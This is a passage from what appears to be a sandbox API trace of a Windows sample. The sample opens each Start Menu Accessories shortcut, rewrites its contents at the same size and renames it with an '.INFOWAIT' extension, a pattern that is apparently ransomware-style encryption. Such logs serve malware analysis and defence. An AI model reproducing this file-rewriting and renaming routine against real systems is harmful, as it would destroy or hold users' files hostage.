returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.INFOWAIT" [0132.805] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.infowait")) returned 1 [0132.806] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.807] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.807] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.807] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.807] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f2 [0132.807] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.807] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.807] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f2, lpOverlapped=0x0) returned 1 [0132.809] VirtualAlloc (lpAddress=0x0, dwSize=0x4f2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.810] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.810] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f2, lpOverlapped=0x0) returned 1 [0132.811] CloseHandle (hObject=0xad0) returned 1 [0132.811] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" [0132.811] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk.INFOWAIT" [0132.811] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk.infowait")) returned 1 [0132.811] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.812] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.813] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.813] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.813] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x554 [0132.813] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.813] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.813] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x554, lpOverlapped=0x0) returned 1 [0132.815] VirtualAlloc (lpAddress=0x0, dwSize=0x554, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.816] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.816] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x554, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x554, lpOverlapped=0x0) returned 1 [0132.816] CloseHandle (hObject=0xad0) returned 1 [0132.816] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" [0132.816] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.INFOWAIT" [0132.816] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk.infowait")) returned 1 [0132.816] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.817] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.817] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.817] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.818] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4d6 [0132.818] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.819] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.819] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4d6, lpOverlapped=0x0) returned 1 [0132.821] VirtualAlloc (lpAddress=0x0, dwSize=0x4d6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.821] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.821] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4d6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4d6, lpOverlapped=0x0) returned 1 [0132.821] CloseHandle (hObject=0xad0) returned 1 [0132.821] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" [0132.821] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk.INFOWAIT" [0132.821] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk.infowait")) returned 1 [0132.822] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.823] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.823] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.823] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4da [0132.823] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.824] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.824] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4da, lpOverlapped=0x0) returned 1 [0132.825] VirtualAlloc (lpAddress=0x0, dwSize=0x4da, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.826] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.826] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4da, lpOverlapped=0x0) returned 1 [0132.826] CloseHandle (hObject=0xad0) returned 1 [0132.826] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" [0132.826] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk.INFOWAIT" [0132.826] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk.infowait")) returned 1 [0132.827] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.828] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.828] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.828] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.828] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4da [0132.829] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.829] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.829] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4da, lpOverlapped=0x0) returned 1 [0132.831] VirtualAlloc (lpAddress=0x0, dwSize=0x4da, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.831] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.831] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4da, lpOverlapped=0x0) returned 1 [0132.831] CloseHandle (hObject=0xad0) returned 1 [0132.831] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" [0132.831] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.INFOWAIT" [0132.831] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk.infowait")) returned 1 [0132.832] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.833] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.833] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.833] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.833] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x557 [0132.833] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.833] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.833] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x557, lpOverlapped=0x0) returned 1 [0132.835] VirtualAlloc (lpAddress=0x0, dwSize=0x557, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.835] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.835] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x557, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x557, lpOverlapped=0x0) returned 1 [0132.836] CloseHandle (hObject=0xad0) returned 1 [0132.836] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" [0132.836] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.INFOWAIT" [0132.836] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk.infowait")) returned 1 [0132.836] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.837] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.837] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.837] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f8 [0132.837] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.838] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.838] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f8, lpOverlapped=0x0) returned 1 [0132.840] VirtualAlloc (lpAddress=0x0, dwSize=0x4f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.840] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.840] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f8, lpOverlapped=0x0) returned 1 [0132.840] CloseHandle (hObject=0xad0) returned 1 [0132.840] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" [0132.840] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.INFOWAIT" [0132.840] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk.infowait")) returned 1 [0132.841] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.842] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.842] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.842] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.843] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x532 [0132.843] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.844] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.844] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x532, lpOverlapped=0x0) returned 1 [0132.894] VirtualAlloc (lpAddress=0x0, dwSize=0x532, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.894] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.894] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x532, lpOverlapped=0x0) returned 1 [0132.894] CloseHandle (hObject=0xad0) returned 1 [0132.895] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" [0132.895] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk.INFOWAIT" [0132.895] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\sound recorder.lnk.infowait")) returned 1 [0132.895] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, 